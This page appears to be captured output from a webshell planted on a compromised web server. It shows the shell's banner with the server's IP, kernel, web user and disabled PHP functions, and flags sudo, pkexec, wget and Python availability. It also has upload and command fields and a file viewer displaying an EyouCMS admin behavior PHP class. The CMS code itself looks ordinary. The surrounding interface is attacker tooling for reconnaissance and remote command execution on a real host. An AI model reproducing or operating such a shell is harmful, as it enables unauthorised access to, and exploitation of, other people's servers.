403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2025_04_20_01-副本/application/admin/behavior/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2025_04_20_01-副本/application/admin/behavior/AppEndBehavior.php
<?php

namespace app\admin\behavior;

use think\Db;

/**
 * 系统行为扩展:
 */
class AppEndBehavior {
    protected static $actionName;
    protected static $controllerName;
    protected static $moduleName;
    protected static $method;

    /**
     * 构造方法
     * @param Request $request Request对象
     * @access public
     */
    public function __construct()
    {

    }

    // 行为扩展的执行入口必须是run
    public function run(&$params){
        self::$actionName = request()->action();
        self::$controllerName = request()->controller();
        self::$moduleName = request()->module();
        self::$method = request()->method();
        $this->_initialize();
    }

    private function _initialize() {
        $this->resetAuthor(); // 临时处理授权问题
        $this->clearHtmlCache(); // 变动数据之后,清除页面缓存和数据
        $this->eyou_statistics_data(); // 商城主题欢迎页的数据统计
    }

    /**
     * 临时处理授权问题
     */
    private function resetAuthor()
    {
        /*在以下相应的控制器和操作名里执行,以便提高性能*/
        $ctlActArr = array(
            'Index@index',
        );
        $ctlActStr = self::$controllerName.'@'.self::$actionName;
        if (in_array($ctlActStr, $ctlActArr) && 'GET' == self::$method) {
            if(!empty($_SESSION['isset_resetAuthor']))
                return true;
            $_SESSION['isset_resetAuthor'] = 1;

            session('isset_author', null);
        }
        /*--end*/
    }

    /**
     * 数据变动之后,清理页面和数据缓存
     */
    private function clearHtmlCache()
    {
        /*在以下相应的控制器和操作名里执行,以便提高性能*/
        $actArr = ['add','edit','del','recovery','changeTableVal'];
        if ('POST' == self::$method) {
            foreach ($actArr as $key => $val) {
                if (preg_match('/^((.*)_)?('.$val.')$/i', self::$actionName) || preg_match('/^(ajax_)?'.$val.'(_(.*))?$/i', self::$actionName)) {
                    $aids = [];
                    if (!empty($_POST['aids'])) {
                        $aids = $_POST['aids'];
                    } else if (!empty($_POST['aid'])) {
                        $aids = [$_POST['aid']];
                    }

                    $typeids = [];
                    if (!empty($_POST['typeids'])) {
                        $typeids = $_POST['typeids'];
                    } else if (!empty($_POST['typeid'])) {
                        $typeids = [$_POST['typeid']];
                    }
                    clearHtmlCache($aids, $typeids);
                    // \think\Cache::clear();
                    // delFile(HTML_ROOT.'index');
                    break;
                }
            }
        }
    }

    /**
     * 商城主题欢迎页的数据统计写入
     * @return [type] [description]
     */
    private function eyou_statistics_data()
    {
        if ('POST' == self::$method) {
            if (in_array(self::$controllerName, ['Product','ShopProduct','Article']) && in_array(self::$actionName, ['add'])) { // 新增商品
                if (in_array(self::$controllerName, ['Article'])) {
                    eyou_statistics_data(7);
                } else if (in_array(self::$controllerName, ['Product','ShopProduct'])) {
                    eyou_statistics_data(6);
                }
            } else if (in_array(self::$controllerName, ['RecycleBin']) && in_array(self::$actionName, ['archives_recovery'])) { // 恢复商品
                //查一下删除的商品里有没有昨天和今天发布的 要在统计里减去
                $rec_aid = is_array($_POST) ? $_POST : [$_POST['del_id']];
                if (!empty($rec_aid)) {
                    $ystd_count = $td_count = 0;
                    $today = strtotime(date('Y-m-d'));
                    $yesterday = $today - 86400;
                    $where = [
                        'aid' => ['IN', $rec_aid],
                        'add_time' => ['egt', $yesterday],
                    ];
                    $list = Db::name('archives')->field('aid,add_time')->where($where)->select();
                    foreach ($list as $key => $val) {
                        if ($val['add_time'] < $today) { // 昨天统计
                            $ystd_count++;
                        } else if ($val['add_time'] >= $today) { // 今天统计
                            $td_count++;
                        }
                    }
                    if (in_array(self::$controllerName, ['Article'])) {
                        $this->del_statistics(7,$td_count,$ystd_count,'inc');
                    } else if (in_array(self::$controllerName, ['Product','ShopProduct'])) {
                        $this->del_statistics(6,$td_count,$ystd_count,'inc');
                    }
                }
            }
            if ('admin' == request()->module()) {
                $highlights_list = tpSetting('sys.sys_highlights_list', [], 'cn');
                $arr = empty($highlights_list) ? [] : json_decode(mchStrCode($highlights_list, 'DECODE', 'JK678y2wq4hk'), true);
                if (!empty($arr)) {
                    foreach ($arr as $key => $val) {
                        $val = base64_decode($val);
                        $arr[$key] = $val;
                    }
                    \think\Db::name('weapp')->where(['code'=>['IN', $arr]])->update(['status'=>0]);
                    \think\Cache::clear();
                }
            }
        }
    }

    /**
     * @param string $action inc 增加 dec 减少
     */
    private function del_statistics($type, $td_count = 0,$ystd_count = 0,$action = 'inc'){
        //写入统计 减去
        if ($td_count > 0){
            eyou_statistics_data($type,$td_count,'',$action);//今天的
        }
        if ($ystd_count > 0){
            $ystd = strtotime('-1 day');
            eyou_statistics_data($type,$ystd_count,$ystd,$action);//昨天的
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit